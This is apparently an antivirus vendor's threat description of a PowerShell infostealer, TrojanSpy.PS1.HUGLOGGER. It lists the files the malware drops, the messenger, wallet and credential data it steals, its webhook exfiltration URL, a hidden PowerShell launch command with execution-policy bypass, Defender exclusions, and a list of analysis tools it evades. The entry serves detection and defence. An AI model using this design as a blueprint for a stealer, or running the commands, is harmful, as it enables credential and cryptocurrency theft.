TrojanSpy.PS1.HUGLOGGER.THHAFBC

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Fügt die folgenden Ordner hinzu:

• %User Temp%\element-session → Deletes after execution
• %User Temp%\signal-session → Deletes after execution
• %User Temp%\steam-session → Deletes after execution
• %User Temp%\Crypto Wallets → Deletes after execution
• %User Temp%\Crypto Wallets\Armory → Deletes after execution
• %User Temp%\Crypto Wallets\Atomic → Deletes after execution
• %User Temp%\Crypto Wallets\Bitcoin → Deletes after execution
• %User Temp%\Crypto Wallets\Bytecoin → Deletes after execution
• %User Temp%\Crypto Wallets\Coinomi → Deletes after execution
• %User Temp%\Crypto Wallets\Dash → Deletes after execution
• %User Temp%\Crypto Wallets\Electrum → Deletes after execution
• %User Temp%\Crypto Wallets\Ethereum → Deletes after execution
• %User Temp%\Crypto Wallets\Exodus → Deletes after execution
• %User Temp%\Crypto Wallets\Guarda → Deletes after execution
• %User Temp%\Crypto Wallets\Liberty.jaxx → Deletes after execution
• %User Temp%\Crypto Wallets\Litecoin → Deletes after execution
• %User Temp%\Crypto Wallets\Monero → Deletes after execution
• %User Temp%\Crypto Wallets\Zcash → Deletes after execution
• %User Temp%\Crypto Wallets\Thunder → Deletes after execution
• %User Temp%\Files Grabber → Deletes after execution
• %User Temp%\SEG → Deletes after execution
• %Application Data%\SEG

(Hinweis: %User Temp% ist der Ordner 'Temp' des aktuellen Benutzers, normalerweise C:\Dokumente und Einstellungen\{Benutzername}\Lokale Einstellungen\Temp unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{Benutzername}\AppData\Local\Temp unter Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).. %Application Data% ist der Ordner 'Anwendungsdaten' für den aktuellen Benutzer, normalerweise C:\Windows\Profile\{Benutzername}\Anwendungsdaten unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Anwendungsdaten unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername}\Lokale Einstellungen\Anwendungsdaten unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{Benutzername}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).)

Schleust die folgenden Eigenkopien in das betroffene System ein:

• %Application Data%\SEG\SEG.ps1

(Hinweis: %Application Data% ist der Ordner 'Anwendungsdaten' für den aktuellen Benutzer, normalerweise C:\Windows\Profile\{Benutzername}\Anwendungsdaten unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Anwendungsdaten unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername}\Lokale Einstellungen\Anwendungsdaten unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{Benutzername}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).)

Fügt die folgenden Prozesse hinzu:

• %User Temp%\main.exe "https://{BLOCKED}d.com/api/webhooks/1140435802338382006/CGUpsFNYfwZOrzAl7AJDTXj3Fyclz-XkwuPwT_mRjXqnEv5PIDCMOVDmDtdwGD_m48-T "
• Powershell.exe "-NoProfile -ExecutionPolicy Bypass -Windowstyle hidden -File '{malware File Path}'"

Autostart-Technik

Schleust die folgenden Dateien ein:

• %User Temp%\ip.txt → contains the machine's IP address. Later moved to %User Temp\SEG\ip.txt
• %User Temp%\system_info.txt → contains system information. Later moved to %User Temp%\SEG\system_info.txt
• %User Temp%\uuid.txt → contains OS version, OS build number, Display version, Computer model, and UUID. Later moved to %User Temp%\SEG\uuid.txt
• %User Temp%\cpu.txt → contains CPU information. Later moved to %User Temp%\SEG\cpu.txt
• %User Temp%\GPU.txt → contains GPU information. Later moved to %User Temp%\SEG\GPU.txt
• %User Temp%\mac.txt → contains MAC address. Later moved to %User Temp%\SEG\mac.txt
• %User Temp%\netstat.txt → contains network information. Later moved to %User Temp%\SEG\netstat.txt
• %User Temp%\WIFIPasswords.txt → Contains WIFI passwords. Later moved to %User Temp%\SEG\WIFIPasswords.txt
• %User Temp%\StartUpApps.txt → Contains Startup Commands. Later moved to %User Temp%\SEG\StartUpApps.txt
• %User Temp%\running-services.txt →Contains list of running services. Later moved to %User Temp%\SEG\running-services.txt
• %User Temp%\running-application.txt →Contains list of running applications. Later moved to %User Temp%\SEG\running-application.txt
• %User Temp%\Installed-Application.txt →Contains lists of installed applications. Later moved to %User Temp%\SEG\Installed-Application.txt
• %User Temp%\NetworkAdapters.txt →Contains lists of Network adapters. Later moved to %User Temp%\SEG\NetworkAdapters.txt
• %User Temp%\telegram-session.zip →Contains gathered files from %Application Data%\Telegram Desktop\tdata. Later moved to %User Temp%\SEG\telegram-session.zip
• %User Temp%\element-session.zip →Contains gathered files from %Application Data%\Element. Later moved to %User Temp%\SEG\element-session.zip
• %User Temp%\signal-session.zip →Contains gathered files from %Application Data%\Signal. Later moved to %User Temp%\SEG\signal-session.zip
• %User Temp%\steam-session.zip →Contains gathered files from &Program Files%\Steam. Later moved to %User Temp%\SEG\steam-session.zip
• %User Temp%\desktop-screenshot.png →Screenshot of Desktop. Later moved to %User Temp%\SEG\desktop-screenshot.png
• %User Temp%\DiskInfo.txt → Contains gathered Disk information. Later moved to %User Temp%\SEG\DiskInfo.txt
• %User Temp%\ProductKey.txt→ Contains gathered Product keys. Later moved to %User Temp%\SEG\ProductKey.txt
• %User Temp%\main.exe → Deletes after execution
• %User Temp%\SEG-LOG.zip → Deletes after execution

(Hinweis: %User Temp% ist der Ordner 'Temp' des aktuellen Benutzers, normalerweise C:\Dokumente und Einstellungen\{Benutzername}\Lokale Einstellungen\Temp unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{Benutzername}\AppData\Local\Temp unter Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).. %Application Data% ist der Ordner 'Anwendungsdaten' für den aktuellen Benutzer, normalerweise C:\Windows\Profile\{Benutzername}\Anwendungsdaten unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Anwendungsdaten unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername}\Lokale Einstellungen\Anwendungsdaten unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{Benutzername}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).)

Prozessbeendigung

Beendet Prozesse oder Dienste, die einen oder mehrere dieser Zeichenfolgen enthalten, wenn sie im Speicher des betroffenen Systems ausgeführt werden:

• Telegram
• Element
• Signal
• Steam
• Discord
• Discordcanary
• Discordptb

Datendiebstahl

Folgende Daten werden gesammelt:

• Machine's IP address
• System information
• OS version
• OS Build number
• Display Version
• Computer Model
• UUID
• CPU
• GPU
• Total physical RAM
• MAC address
• Username
• Hostname
• Network information
• Manufacturer information of the machine
• Date and Time
• Boot up time
• List of Installed Anti Virus Products
• WIFI Passwords
• Screen Resolution
• Startup commands
• Running Process
• Running Services
• Installed Applications
• Network Adapters
• Files from Telegram directory
• Files from Element directory
• Files from Signal Directory
• Files from Steam Directory
• Desktop Screenshot
• Drive name
• Volume name
• Total Drive Size
• Used Drive Size
• Free Drive Size
• Product Key
• It gathers credentials from the following:
  • Email
  • Thunderbird
  • CryptoWallets:
  • Armory
  • Atomic
  • Bitcoin
  • Bytecoin
  • Coinomi
  • Dash
  • Electrum
  • Ethereum
  • Exodus
  • Guarda
  • Liberty.jaxx
  • Litecoin
  • Monero
  • Zcash

Entwendete Daten

Sendet die gesammelten Daten über HTTP-POST an den folgenden URL:

• https://{BLOCKED}d.com/api/webhooks/1140435802338382006/CGUpsFNYfwZOrzAl7AJDTXj3Fyclz-XkwuPwT_mRjXqnEv5PIDCMOVDmDtdwGD_m48-T

Andere Details

Es macht Folgendes:

• Hide its console window upon execution
• Copy files from the directories %User Profile%\Downloads, %User Profile%\Documents, and %User Profile%\Desktop to %User Temp%\FilesGrabber, following these conditions:
  • Contains the following strings in their name:
  • Accounts
  • Login
  • Metamask
  • Crypto
  • Code
  • Coinbase
  • Exodus
  • Backupcode
  • Token
  • Seedphrase
  • Private
  • Pw
  • Lastpass
  • Keepass
  • Keepassxc
  • Nordpass
  • Syncthing
  • Dashlane
  • Bitwarden
  • Memo
  • Keys
  • Secret
  • Recovery
  • 2fa
  • Pass
  • Login
  • Backup
  • Discord
  • Paypal
  • Wallet
  • With the following extension:
  • .pdf
  • .txt
  • .doc
  • .csv
  • .rtf
  • .docx
  • With the following file size:
  • Less than 5MB
• Deletes the following files if found in the machine:
  • %Application Data%\DiscordTokenProtector\DiscordTokenProtector.exe
  • %Application Data%\DiscordTokenProtector\secure.dat
• Exclude the following directory to be scanned by Windows Defender:
  • %User Temp%
  • %Application Data%\SEG
• Terminates itself if the following processes are found:
  • Autoruns
  • Autorunsc
  • Dumpcap
  • Fiddler
  • Fakenet
  • Hookexplorer
  • Immunitydebugger
  • Httpdebugger
  • Importrec
  • Lordpe
  • Petools
  • Processhacker
  • Scylla_x64
  • Sandman
  • Sysinspector
  • Tcpview
  • Die
  • Dumpcap
  • Filemon
  • Idaq
  • Idaq64
  • Joeboxcontrol
  • Joeboxserver
  • Ollydbg
  • Proc_analyzer
  • Procexp
  • Procmon
  • Pestudio
  • Qemu-ga
  • Qga
  • Regmon
  • Sniff_hit
  • Sysanalyzer
  • Tcpview
  • Windbg
  • Wireshark
  • X32dbg
  • X64dbg
  • Vmwareuser
  • Vmacthlp
  • Vboxservice
  • Vboxtray
  • Xenservice

(Hinweis: %User Temp% ist der Ordner 'Temp' des aktuellen Benutzers, normalerweise C:\Dokumente und Einstellungen\{Benutzername}\Lokale Einstellungen\Temp unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{Benutzername}\AppData\Local\Temp unter Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).. %Application Data% ist der Ordner 'Anwendungsdaten' für den aktuellen Benutzer, normalerweise C:\Windows\Profile\{Benutzername}\Anwendungsdaten unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Anwendungsdaten unter Windows NT, C:\Dokumente und Einstellungen\{Benutzername}\Lokale Einstellungen\Anwendungsdaten unter Windows 2000(32-bit), XP und Server 2003(32-bit) und C:\Users\{Benutzername}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) und 10(64-bit).)